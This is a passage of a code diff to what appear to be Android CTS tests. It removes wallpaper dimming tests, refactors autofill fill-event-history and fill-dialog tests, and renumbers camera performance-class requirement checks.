-                    mWallpaperManager.setWallpaperDimAmount(dimAmount);
-                    assertDimAmountEqualsTo(dimAmount);
-                });
-    }
-
-    @Test
-    public void setWallpaperDimAmount_withinBound_shouldSetDimAmount() {
-        ensureSetWallpaperDimAmountPermissionIsGranted();
-
-        float dimAmount = 0.6f;
-        mWallpaperManager.setWallpaperDimAmount(dimAmount);
-        assertDimAmountEqualsTo(dimAmount);
-
-        // Remove additional dimming and verify that the dim amount is set to 0 again
-        mWallpaperManager.setWallpaperDimAmount(0f);
-        assertDimAmountEqualsTo(0f);
-    }
-
-    @Test
-    public void setWallpaperDimAmountBeyondRange_shouldBeBounded() {
-        ensureSetWallpaperDimAmountPermissionIsGranted();
-
-        // Setting dim amount < 0 should be bounded to lower limit 0.0
-        mWallpaperManager.setWallpaperDimAmount(-1f);
-        assertDimAmountEqualsTo(0f);
-
-        // Setting dim amount > 1 should be bounded to upper limit 1.0
-        mWallpaperManager.setWallpaperDimAmount(1.5f);
-        assertDimAmountEqualsTo(1f);
-    }
-
-    @CddTest(requirement = "3.8.7.1/H-1-2")
-    @Test
-    public void setWallpaperDimAmount_changingWallpaperShouldRemainDimmed() throws IOException {
-        ensureSetWallpaperDimAmountPermissionIsGranted();
-
-        float dimAmount = 0.65f;
-        mWallpaperManager.setWallpaperDimAmount(dimAmount);
-        mWallpaperManager.setResource(R.drawable.robot);
-
-        assertDimAmountEqualsTo(dimAmount);
-    }
-
-    @Test
-    public void colorHintsOnDimTest() throws IOException {
-        ensureSetWallpaperDimAmountPermissionIsGranted();
-
-        Bitmap tmpWallpaper = Bitmap.createBitmap(100, 100, Bitmap.Config.ARGB_8888);
-        Canvas canvas = new Canvas(tmpWallpaper);
-        canvas.drawColor(Color.WHITE);
-
-        mWallpaperManager.setBitmap(tmpWallpaper);
-
-        WallpaperColors colors = mWallpaperManager
-                .getWallpaperColors(WallpaperManager.FLAG_SYSTEM);
-        int colorHints = colors.getColorHints();
-        // Color hints support dark text on white wallpaper
-        Assert.assertEquals(WallpaperColors.HINT_SUPPORTS_DARK_TEXT,
-                colorHints & WallpaperColors.HINT_SUPPORTS_DARK_TEXT);
-
-        float lowDimAmount = 0.1f;
-        mWallpaperManager.setWallpaperDimAmount(lowDimAmount);
-        assertDimAmountEqualsTo(lowDimAmount);
-        colors = mWallpaperManager.getWallpaperColors(WallpaperManager.FLAG_SYSTEM);
-        colorHints = colors.getColorHints();
-        // Color hints still support dark text on white wallpaper that is not dimmed enough
-        Assert.assertEquals(WallpaperColors.HINT_SUPPORTS_DARK_TEXT,
-                colorHints & WallpaperColors.HINT_SUPPORTS_DARK_TEXT);
-
-        float higherDimAmount = 0.7f;
-        mWallpaperManager.setWallpaperDimAmount(higherDimAmount);
-        assertDimAmountEqualsTo(higherDimAmount);
-        colors = mWallpaperManager.getWallpaperColors(WallpaperManager.FLAG_SYSTEM);
-        colorHints = colors.getColorHints();
-        // Dimmed white wallpaper does not support dark text
-        Assert.assertNotEquals(WallpaperColors.HINT_SUPPORTS_DARK_TEXT,
-                colorHints & WallpaperColors.HINT_SUPPORTS_DARK_TEXT);
-    }
-
     private void assertBitmapDimensions(Bitmap bitmap) {
         int maxSize = getMaxTextureSize();
         boolean safe = false;
@@ -686,20 +571,6 @@
         return spy(new TestableColorListener());
     }
 
-    private void assertDimAmountEqualsTo(float dimAmount) {
-        float storedDimAmount = -1f;
-        for (int i = 0; i < MAX_WAIT_TIME_MS; i += WAIT_TIME_INCR_MS) {
-            storedDimAmount = mWallpaperManager.getWallpaperDimAmount();
-            if (dimAmount == storedDimAmount) break;
-            try {
-                Thread.sleep(WAIT_TIME_INCR_MS);
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-        }
-        Assert.assertEquals(dimAmount, storedDimAmount, /* delta */ 0f);
-    }
-
     public class TestableColorListener implements WallpaperManager.OnColorsChangedListener {
         @Override
         public void onColorsChanged(WallpaperColors colors, int which) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java
index d35dd40..891cbe9 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java
@@ -398,6 +398,15 @@
     }
 
     /**
+     * Request to hide soft input
+     */
+    public void hideSoftInput() {
+        final InputMethodManager imm = (InputMethodManager) getSystemService(
+                Context.INPUT_METHOD_SERVICE);
+        imm.hideSoftInputFromWindow(mUsernameEditText.getWindowToken(), 0);
+    }
+
+    /**
      * Holder for the expected auto-fill values.
      */
     private final class FillExpectation {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractWebViewTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractWebViewTestCase.java
index 7720bc8..d2bd91a 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractWebViewTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractWebViewTestCase.java
@@ -18,6 +18,10 @@
 import android.autofillservice.cts.activities.AbstractWebViewActivity;
 import android.autofillservice.cts.testcore.IdMode;
 import android.autofillservice.cts.testcore.UiBot;
+import android.content.Context;
+import android.content.res.Resources;
+
+import androidx.test.InstrumentationRegistry;
 
 import org.junit.AfterClass;
 import org.junit.BeforeClass;
@@ -45,4 +49,20 @@
     public static void resetReplierMode() {
         sReplier.setIdMode(IdMode.RESOURCE_ID);
     }
+
+    /**
+     * @return whether the preventable IME feature as specified by {@code
+     * config_preventImeStartupUnlessTextEditor} is enabled.
+     */
+    protected static boolean isPreventImeStartup() {
+        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        try {
+            return context.getResources().getBoolean(
+                    Resources.getSystem().getIdentifier(
+                            "config_preventImeStartupUnlessTextEditor", "bool", "android"));
+        } catch (Resources.NotFoundException e) {
+            // Assume this is not enabled.
+            return false;
+        }
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
index 347ded0..40b7784 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AutoFillServiceTestCase.java
@@ -57,6 +57,7 @@
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 
 import com.android.compatibility.common.util.DeviceConfigStateChangerRule;
+import com.android.compatibility.common.util.DisableAnimationRule;
 import com.android.compatibility.common.util.RequiredFeatureRule;
 import com.android.compatibility.common.util.RetryRule;
 import com.android.compatibility.common.util.SafeCleanerRule;
@@ -277,6 +278,10 @@
                 // test being ran and finishes dangling activities at the end
                 .around(mTestWatcher)
                 //
+                // Disable animation for UiAutomator because animation will cause the UiAutomator
+                // got a wrong position and then tests failed due to click on the wrong position.
+                .around(new DisableAnimationRule())
+                //
                 // sMockImeSessionRule make sure MockImeSession.create() is used to launch mock IME
                 .around(sMockImeSessionRule)
                 //
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/FillEventHistoryCommonTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/FillEventHistoryCommonTestCase.java
index 416c79a..9ab86ce 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/commontests/FillEventHistoryCommonTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/FillEventHistoryCommonTestCase.java
@@ -574,12 +574,12 @@
         enableService();
 
         // Set expectations.
-        final CannedFillResponse.Builder builder = createTestResponseBuilder();
+        CannedFillResponse.Builder builder = createTestResponseBuilder(/* withDataSet= */ true);
         sReplier.addResponse(builder.build());
 
         // Trigger autofill and set the save UI not show reason with
         // NO_SAVE_UI_REASON_NO_SAVE_INFO.
-        triggerAutofillForSaveUiCondition(NO_SAVE_UI_REASON_NO_SAVE_INFO);
+        triggerAutofillForSaveUiCondition(NO_SAVE_UI_REASON_NO_SAVE_INFO, /* withDataSet= */ true);
 
         // Finish the context by login in and it will trigger to check if the save UI should be
         // shown.
@@ -603,17 +603,8 @@
         enableService();
 
         // Set expectations.
-        final CannedFillResponse.Builder builder = createTestResponseBuilder();
-        builder.setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE);
-        sReplier.addResponse(builder.build());
-
-        // Trigger autofill and set the save UI not show reason with
-        // NO_SAVE_UI_REASON_WITH_DELAY_SAVE_FLAG.
-        triggerAutofillForSaveUiCondition(NO_SAVE_UI_REASON_WITH_DELAY_SAVE_FLAG);
-
-        // Finish the context by login in and it will trigger to check if the save UI should be
-        // shown.
-        tapLogin();
+        CannedFillResponse.Builder builder = createTestResponseBuilder(/* withDataSet= */ true);
+        contextCommitted_whileDelaySave(builder, /* withDataSet= */ true);
 
         // Verify that the save UI should not be shown and the history should include the reason.
         mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
@@ -624,6 +615,38 @@
         assertThat(event.getNoSaveUiReason()).isEqualTo(NO_SAVE_UI_REASON_WITH_DELAY_SAVE_FLAG);
     }
 
+    @Test
+    public void testContextCommitted_noSaveUi_whileDelaySave_noDataset() throws Exception {
+        enableService();
+
+        // Set expectations.
+        CannedFillResponse.Builder builder = createTestResponseBuilder(/* withDataSet= */ false);
+        contextCommitted_whileDelaySave(builder, /* withDataSet= */ false);
+
+        // Verify that the save UI should not be shown and the history should include the reason.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        final List<Event> verifyEvents = InstrumentedAutoFillService.getFillEvents(1);
+        final Event event = verifyEvents.get(0);
+
+        assertThat(event.getNoSaveUiReason()).isEqualTo(NO_SAVE_UI_REASON_WITH_DELAY_SAVE_FLAG);
+    }
+
+    // TODO: refine the helper function
+    private void contextCommitted_whileDelaySave(CannedFillResponse.Builder builder,
+            boolean withDataSet) throws Exception {
+        builder.setSaveInfoFlags(SaveInfo.FLAG_DELAY_SAVE);
+        sReplier.addResponse(builder.build());
+
+        // Trigger autofill and set the save UI not show reason with
+        // NO_SAVE_UI_REASON_WITH_DELAY_SAVE_FLAG.
+        triggerAutofillForSaveUiCondition(NO_SAVE_UI_REASON_WITH_DELAY_SAVE_FLAG, withDataSet);
+
+        // Finish the context by login in and it will trigger to check if the save UI should be
+        // shown.
+        tapLogin();
+    }
+
     /**
      * Tests scenario where the context was committed, the save dialog was not shown because there
      * was empty value for required ids.
@@ -633,17 +656,8 @@
         enableService();
 
         // Set expectations.
-        final CannedFillResponse.Builder builder = createTestResponseBuilder();
-        builder.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD);
-        sReplier.addResponse(builder.build());
-
-        // Trigger autofill and set the save UI not show reason with
-        // NO_SAVE_UI_REASON_HAS_EMPTY_REQUIRED.
-        triggerAutofillForSaveUiCondition(NO_SAVE_UI_REASON_HAS_EMPTY_REQUIRED);
-
-        // Finish the context by login in and it will trigger to check if the save UI should be
-        // shown.
-        tapLogin();
+        CannedFillResponse.Builder builder = createTestResponseBuilder(/* withDataSet= */ true);
+        contextCommitted_whileEmptyValueForRequiredIds(builder, /* withDataSet= */ true);
 
         // Verify that the save UI should not be shown and the history should include the reason.
         mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
@@ -654,6 +668,38 @@
         assertThat(event.getNoSaveUiReason()).isEqualTo(NO_SAVE_UI_REASON_HAS_EMPTY_REQUIRED);
     }
 
+    @Test
+    public void testContextCommitted_noSaveUi_whileEmptyValueForRequiredIds_noDataset()
+            throws Exception {
+        enableService();
+
+        // Set expectations.
+        CannedFillResponse.Builder builder = createTestResponseBuilder(/* withDataSet= */ false);
+        contextCommitted_whileEmptyValueForRequiredIds(builder, /* withDataSet= */ false);
+
+        // Verify that the save UI should not be shown and the history should include the reason.
+        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+        final List<Event> verifyEvents = InstrumentedAutoFillService.getFillEvents(1);
+        final Event event = verifyEvents.get(0);
+
+        assertThat(event.getNoSaveUiReason()).isEqualTo(NO_SAVE_UI_REASON_HAS_EMPTY_REQUIRED);
+    }
+
+    private void contextCommitted_whileEmptyValueForRequiredIds(CannedFillResponse.Builder builder,
+                boolean withDataSet) throws Exception {
+        builder.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD);
+        sReplier.addResponse(builder.build());
+
+        // Trigger autofill and set the save UI not show reason with
+        // NO_SAVE_UI_REASON_HAS_EMPTY_REQUIRED.
+        triggerAutofillForSaveUiCondition(NO_SAVE_UI_REASON_HAS_EMPTY_REQUIRED, withDataSet);
+
+        // Finish the context by login in and it will trigger to check if the save UI should be
+        // shown.
+        tapLogin();
+    }
+
     /**
      * Tests scenario where the context was committed, the save dialog was not shown because no
      * value has been changed.
@@ -663,13 +709,16 @@
         enableService();
 
         // Set expectations.
-        final CannedFillResponse.Builder builder = createTestResponseBuilder();
+        CannedFillResponse.Builder builder = createTestResponseBuilder(/* withDataSet= */ true);
         builder.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD);
         sReplier.addResponse(builder.build());
 
         // Trigger autofill and set the save UI not show reason with
         // NO_SAVE_UI_REASON_HAS_EMPTY_REQUIRED.
-        triggerAutofillForSaveUiCondition(NO_SAVE_UI_REASON_NO_VALUE_CHANGED);
+        // This test will compare the autofilled value and the ViewState value so the dataset
+        // is needed in this case.
+        triggerAutofillForSaveUiCondition(NO_SAVE_UI_REASON_NO_VALUE_CHANGED,
+                /* withDataSet= */ true);
 
         // Finish the context by login in and it will trigger to check if the save UI should be
         // shown.
@@ -693,7 +742,33 @@
         enableService();
 
         // Set expectations.
-        final CannedFillResponse.Builder builder = createTestResponseBuilder();
+        CannedFillResponse.Builder builder = createTestResponseBuilder(/* withDataSet= */ true);
+        contextCommitted_whileFieldsFailedValidation(builder, /* withDataSet= */ true);
+
+
+        final List<Event> verifyEvents = InstrumentedAutoFillService.getFillEvents(2);
+        final Event event = verifyEvents.get(1);
+
+        assertThat(event.getNoSaveUiReason()).isEqualTo(NO_SAVE_UI_REASON_FIELD_VALIDATION_FAILED);
+    }
+
+    @Test
+    public void testContextCommitted_noSaveUi_whileFieldsFailedValidation_noDataSet()
+            throws Exception {
+        enableService();
+
+        // Set expectations.
+        CannedFillResponse.Builder builder = createTestResponseBuilder(/* withDataSet= */ false);
+        contextCommitted_whileFieldsFailedValidation(builder, /* withDataSet= */ false);
+
+        final List<Event> verifyEvents = InstrumentedAutoFillService.getFillEvents(1);
+        final Event event = verifyEvents.get(0);
+
+        assertThat(event.getNoSaveUiReason()).isEqualTo(NO_SAVE_UI_REASON_FIELD_VALIDATION_FAILED);
+    }
+
+    private void contextCommitted_whileFieldsFailedValidation(CannedFillResponse.Builder builder,
+            boolean withDataSet) throws Exception {
         builder.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
                 .setSaveInfoVisitor((contexts, saveInfoBuilder) -> {
                     final Validator validator =
@@ -704,7 +779,7 @@
 
         // Trigger autofill and set the save UI not show reason with
         // NO_SAVE_UI_REASON_FIELD_VALIDATION_FAILED.
-        triggerAutofillForSaveUiCondition(NO_SAVE_UI_REASON_FIELD_VALIDATION_FAILED);
+        triggerAutofillForSaveUiCondition(NO_SAVE_UI_REASON_FIELD_VALIDATION_FAILED, withDataSet);
 
         // Finish the context by login in and it will trigger to check if the save UI should be
         // shown.
@@ -712,11 +787,6 @@
 
         // Verify that the save UI should not be shown and the history should include the reason.
         mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-
-        final List<Event> verifyEvents = InstrumentedAutoFillService.getFillEvents(2);
-        final Event event = verifyEvents.get(1);
-
-        assertThat(event.getNoSaveUiReason()).isEqualTo(NO_SAVE_UI_REASON_FIELD_VALIDATION_FAILED);
     }
 
     /**
@@ -728,13 +798,13 @@
         enableService();
 
         // Set expectations.
-        final CannedFillResponse.Builder builder = createTestResponseBuilder();
+        CannedFillResponse.Builder builder = createTestResponseBuilder(/* withDataSet= */ true);
         builder.setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD);
         sReplier.addResponse(builder.build());
 
         // Trigger autofill and set the save UI not show reason with
         // NO_SAVE_UI_REASON_DATASET_MATCH.
-        triggerAutofillForSaveUiCondition(NO_SAVE_UI_REASON_DATASET_MATCH);
+        triggerAutofillForSaveUiCondition(NO_SAVE_UI_REASON_DATASET_MATCH, /* withDataSet= */ true);
 
         // Finish the context by login in and it will trigger to check if the save UI should be
         // shown.
@@ -749,28 +819,33 @@
         assertThat(event.getNoSaveUiReason()).isEqualTo(NO_SAVE_UI_REASON_DATASET_MATCH);
     }
 
-    private CannedFillResponse.Builder createTestResponseBuilder() {
-        return new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setId("id1")
-                        .setField(ID_USERNAME, BACKDOOR_USERNAME)
-                        .setField(ID_PASSWORD, "whatever")
-                        .setPresentation("dataset1", isInlineMode())
-                        .build())
-                .setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED);
+    private CannedFillResponse.Builder createTestResponseBuilder(boolean withDataSet) {
+        CannedFillResponse.Builder builder = new CannedFillResponse.Builder();
+        if (withDataSet) {
+            builder.addDataset(new CannedDataset.Builder()
+                    .setId("id1")
+                    .setField(ID_USERNAME, BACKDOOR_USERNAME)
+                    .setField(ID_PASSWORD, "whatever")
+                    .setPresentation("dataset1", isInlineMode())
+                    .build());
+        }
+        return builder.setFillResponseFlags(FillResponse.FLAG_TRACK_CONTEXT_COMMITED);
     }
 
     /**
      * Triggers autofill on username first and set the behavior of the different conditions so that
      * the save UI should not be shown.
      */
-    private void triggerAutofillForSaveUiCondition(int reason) throws Exception {
+    private void triggerAutofillForSaveUiCondition(int reason, boolean withDataSet)
+            throws Exception {
         // Trigger autofill on username and check the suggestion is shown.
         mUiBot.focusByRelativeId(ID_USERNAME);
         mUiBot.waitForIdle();
         sReplier.getNextFillRequest();
 
-        mUiBot.assertDatasets("dataset1");
+        if (withDataSet) {
+            mUiBot.assertDatasets("dataset1");
+        }
 
         if (reason == NO_SAVE_UI_REASON_HAS_EMPTY_REQUIRED) {
             // Set empty value on password to meet that there was empty value for required ids.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dialog/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dialog/LoginActivityTest.java
index 9865d1b..49ba64b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/dialog/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/dialog/LoginActivityTest.java
@@ -173,6 +173,69 @@
     }
 
     @Test
+    public void testShowFillDialog_onlyShowOnce() throws Exception {
+        // Enable feature and test service
+        enableFillDialogFeature(sContext);
+        enableService();
+
+        // Set response with a dataset, there are two ids to trigger fill dialog.
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("Dropdown Presentation"))
+                        .setDialogPresentation(createPresentation("Dialog Presentation"))
+                        .build())
+                .setDialogHeader(createPresentation("Dialog Header"))
+                .setDialogTriggerIds(ID_USERNAME, ID_PASSWORD);
+        sReplier.addResponse(builder.build());
+
+        // Start activity and autofill
+        LoginActivity activity = startLoginActivity();
+        mUiBot.waitForIdleSync();
+
+        sReplier.getNextFillRequest();
+        mUiBot.waitForIdleSync();
+
+        // Click on password field to trigger fill dialog
+        mUiBot.selectByRelativeIdFromUiDevice(ID_PASSWORD);
+        mUiBot.waitForIdleSync();
+
+        mUiBot.assertFillDialogDatasets("Dialog Presentation");
+
+        // Hide fill dialog via touch outside, but ime will appear. to hide IME before next test.
+        mUiBot.touchOutsideDialog();
+        mUiBot.waitForIdleSync();
+
+        assertMockImeStatus(activity, true);
+
+        activity.hideSoftInput();
+
+        assertMockImeStatus(activity, false);
+
+        // Click on the username field to trigger autofill. Although the username field supports
+        // a fill dialog, the fill dialog only shown once, so shows the dropdown UI.
+        mUiBot.selectByRelativeIdFromUiDevice(ID_USERNAME);
+        mUiBot.waitForIdleSync();
+
+        mUiBot.assertNoFillDialog();
+        mUiBot.assertDatasets("Dropdown Presentation");
+
+        // Focus on password field to trigger dropdown UI
+        // Note: It will click on dropdown UI if click the password field via UiDevice, so just
+        // switch focus via activity.
+        activity.onPassword(View::requestFocus);
+        mUiBot.waitForIdleSync();
+
+        // Set expected value, then select dataset
+        activity.expectAutoFill("dude", "sweet");
+        mUiBot.selectDataset("Dropdown Presentation");
+
+        // Check the results.
+        activity.assertAutoFilled();
+    }
+
+    @Test
     public void testShowFillDialog_twoSuggestions_oneButton() throws Exception {
         // Enable feature and test service
         enableFillDialogFeature(sContext);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/CheckoutActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/CheckoutActivityTest.java
index 1e3535e..94fe54d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/dropdown/CheckoutActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/CheckoutActivityTest.java
@@ -76,6 +76,7 @@
 import android.widget.Spinner;
 import android.widget.TimePicker;
 
+import org.junit.Ignore;
 import org.junit.Test;
 
 import java.util.Arrays;
@@ -573,6 +574,7 @@
     }
 
     @Test
+    @Ignore("b/232198065 Fix touch mode problem in ActivityTestRule")
     public void autofillOneListValueToSpinner() throws Exception {
         autofillListValue(AutofillValue.forList(1), 1, true);
     }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/FillEventHistoryTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/FillEventHistoryTest.java
index 9cf27f1..bbb30dc 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/dropdown/FillEventHistoryTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/FillEventHistoryTest.java
@@ -109,8 +109,10 @@
         sReplier.getNextSaveRequest();
 
         // Assert it
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForSaveShown(events.get(0), NULL_DATASET_ID);
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+        FillEventHistory.Event event = events.get(0);
+        assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+        assertFillEventForSaveShown(events.get(1), NULL_DATASET_ID);
     }
 
 
@@ -159,10 +161,12 @@
 
         // ...and check again
         {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(3);
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
             assertFillEventForDatasetShown(events.get(0), UI_TYPE_MENU);
             assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID, UI_TYPE_MENU);
             assertFillEventForDatasetShown(events.get(2), UI_TYPE_MENU);
+            FillEventHistory.Event event = events.get(3);
+            assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
         }
     }
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/WebViewActivityTest.java
index 698ba48..0be57ea 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/dropdown/WebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/WebViewActivityTest.java
@@ -42,6 +42,7 @@
 import android.view.KeyEvent;
 import android.view.ViewStructure.HtmlInfo;
 
+import org.junit.Assume;
 import org.junit.Ignore;
 import org.junit.Test;
 
@@ -107,6 +108,9 @@
     }
 
     private void autofillOneDatasetTest(boolean usesAppContext) throws Exception {
+        // TODO(b/226240255) WebView does not inform the autofill service about editText (re-)entry
+        Assume.assumeFalse(isPreventImeStartup());
+
         // Set service.
         enableService();
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java
index f488f09..5f184cf 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/InlineUiBot.java
@@ -145,7 +145,13 @@
         Resources resources = mContext.getResources();
         int resId = resources.getIdentifier("config_backGestureInset", "dimen", "android");
         try {
-            return resources.getDimensionPixelSize(resId) + 1;
+            int width = resources.getDimensionPixelSize(resId) + 1;
+            if (width >= defaultWidth) {
+                return width;
+            }
+            Log.i(TAG, "Got edge sensitivity width of " + width
+                    + ", which is less than the default of " + defaultWidth + ". Using default");
+            return defaultWidth;
         } catch (Resources.NotFoundException e) {
             Log.e(TAG, "Failed to get edge sensitivity width. Defaulting to " + defaultWidth, e);
             return defaultWidth;
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 7a052cb..f80c36b 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -42,7 +42,6 @@
 import android.hardware.Camera;
 import android.hardware.camera2.CameraCharacteristics;
 import android.hardware.camera2.CameraCharacteristics.Key;
-import android.hardware.camera2.CameraExtensionCharacteristics;
 import android.hardware.camera2.CameraDevice;
 import android.hardware.camera2.CameraMetadata;
 import android.hardware.camera2.CaptureRequest;
@@ -2874,7 +2873,7 @@
      * in CDD camera section 7.5
      */
     @Test
-    @CddTest(requirement = "7.5/H-1-1,H-1-2,H-1-3,H-1-4,H-1-8,H-1-9,H-1-10,H-1-11,H-1-12,H-1-13,H-1-14,H-1-15")
+    @CddTest(requirement = "7.5/H-1-1,H-1-2,H-1-3,H-1-4,H-1-8,H-1-9,H-1-10,H-1-11,H-1-12,H-1-13,H-1-14")
     public void testCameraPerfClassCharacteristics() throws Exception {
         if (mAdoptShellPerm) {
             // Skip test for system camera. Performance class is only applicable for public camera
@@ -2900,7 +2899,6 @@
         int perfClassLevelH112 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
         int perfClassLevelH113 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
         int perfClassLevelH114 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
-        int perfClassLevelH115 = CameraTestUtils.PERFORMANCE_CLASS_CURRENT;
 
         DeviceReportLog reportLog = new DeviceReportLog(MPC_REPORT_LOG_NAME, MPC_STREAM_NAME);
 
@@ -2961,7 +2959,7 @@
                     }
                 }
 
-                // H-1-10
+                // H-1-9
                 boolean supportHighSpeed = staticInfo.isCapabilitySupported(CONSTRAINED_HIGH_SPEED);
                 mCollector.expectTrue("Primary rear camera should support high speed recording",
                         !assertTPerfClass || supportHighSpeed);
@@ -2987,8 +2985,8 @@
                     mCollector.expectTrue("Primary rear camera should support HD or FULLHD @ 240",
                             !assertTPerfClass || support240Fps);
                 }
-                perfClassLevelH110 = updatePerfClassLevel(support240Fps,
-                        perfClassLevelH110, CameraTestUtils.PERFORMANCE_CLASS_S);
+                perfClassLevelH19 = updatePerfClassLevel(support240Fps,
+                        perfClassLevelH19, CameraTestUtils.PERFORMANCE_CLASS_S);
                 reportLog.addValue("rear camera 720p/1080p @ 240fps support", support240Fps,
                         ResultType.NEUTRAL, ResultUnit.NONE);
             } else {
@@ -3081,67 +3079,49 @@
                         CameraTestUtils.PERFORMANCE_CLASS_R);
             }
 
-            // H-1-9
-            CameraExtensionCharacteristics extensionChars =
-                    mCameraManager.getCameraExtensionCharacteristics(cameraId);
-            List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
-            boolean supportBokeh =
-                    supportedExtensions.contains(CameraExtensionCharacteristics.EXTENSION_BOKEH);
-            boolean supportNight =
-                    supportedExtensions.contains(CameraExtensionCharacteristics.EXTENSION_NIGHT);
-            mCollector.expectTrue(
-                    "Primary rear/front camera must support BOKEH and NIGHT camera2 extensions",
-                    !assertTPerfClass || (supportBokeh && supportNight));
-            perfClassLevelH19 = updatePerfClassLevel(supportBokeh && supportNight,
-                    perfClassLevelH19, CameraTestUtils.PERFORMANCE_CLASS_S);
-            reportLog.addValue(facingString + " camera extension bokeh mode support", supportBokeh,
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-            reportLog.addValue(facingString + " camera extension night mode support", supportNight,
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-
-            // H-1-11
+            // H-1-10
             final double FOV_THRESHOLD = 0.001f;
             double primaryToMaxFovRatio = getPrimaryToMaxFovRatio(cameraId, staticInfo);
             Range<Float> zoomRatioRange = staticInfo.getZoomRatioRangeChecked();
-            boolean meetH111 = (primaryToMaxFovRatio >= 1.0f - FOV_THRESHOLD)
+            boolean meetH110 = (primaryToMaxFovRatio >= 1.0f - FOV_THRESHOLD)
                     || (zoomRatioRange.getLower() < 1.0f - FOV_THRESHOLD);
             mCollector.expectTrue("Primary " + facingString + " camera must support zoomRatio < "
                     + "1.0f if there is an ultrawide lens with the same facing",
-                    !assertTPerfClass || meetH111);
-            perfClassLevelH111 = updatePerfClassLevel(meetH111, perfClassLevelH111,
+                    !assertTPerfClass || meetH110);
+            perfClassLevelH110 = updatePerfClassLevel(meetH110, perfClassLevelH110,
                     CameraTestUtils.PERFORMANCE_CLASS_S);
             reportLog.addValue(facingString + " camera supports maximum FOV using zoom ratio",
-                    meetH111, ResultType.NEUTRAL, ResultUnit.NONE);
+                    meetH110, ResultType.NEUTRAL, ResultUnit.NONE);
 
-            // H-1-13
